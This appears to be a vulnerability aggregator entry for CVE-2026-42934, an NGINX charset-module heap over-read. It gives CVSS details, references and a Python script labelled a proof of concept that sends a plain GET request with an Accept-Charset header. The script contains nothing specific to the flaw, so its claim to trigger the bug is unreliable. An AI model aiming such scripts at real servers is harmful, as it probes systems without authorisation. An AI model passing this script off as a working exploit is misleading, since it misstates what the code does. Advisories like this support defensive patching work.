CVE-2026-42934

Description

NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_charset_module module. When charset, source_charset, and charset_map and proxy_pass with disabled buffering ("off") directives are configured, unauthenticated attackers can send requests that with conditions beyond the attackers' control to cause a heap buffer over-read in the NGINX worker process, leading to limited disclosure of memory or a restart. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

4.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

NGINX Plus (特定受影响版本)

NGINX Open Source (特定受影响版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Vulnerable Configuration Example in nginx.conf
# http {
#     charset_map iso-8859-1 utf-8 { ... }
#     server {
#         location / {
#             charset utf-8;
#             source_charset iso-8859-1;
#             proxy_pass http://backend;
#             proxy_buffering off; # Vulnerable condition
#         }
#     }
# }

import requests

def send_exploit_request(target_url):
    """
    Proof of Concept for CVE-2026-42934.
    Sends a request that may trigger heap buffer over-read
    if the server is configured with charset_map and proxy_buffering off.
    Note: Exploit outcome depends on specific memory state.
    """
    try:
        # Send a request with specific headers or payload that triggers charset conversion
        headers = {
            "User-Agent": "CVE-2026-42934-POC",
            "Accept-Charset": "iso-8859-1"
        }
        response = requests.get(target_url, headers=headers, timeout=5)
        print(f"Status Code: {response.status_code}")
        print("Request sent. Check server logs for crashes or memory leaks.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    target = "http://vulnerable-nginx-server.com"
    send_exploit_request(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42934
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42934
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42934/
[4] VulDB https://vuldb.com/cve/CVE-2026-42934
[5] https://my.f5.com/manage/s/article/K000161028

Raw JSON Data

JSON

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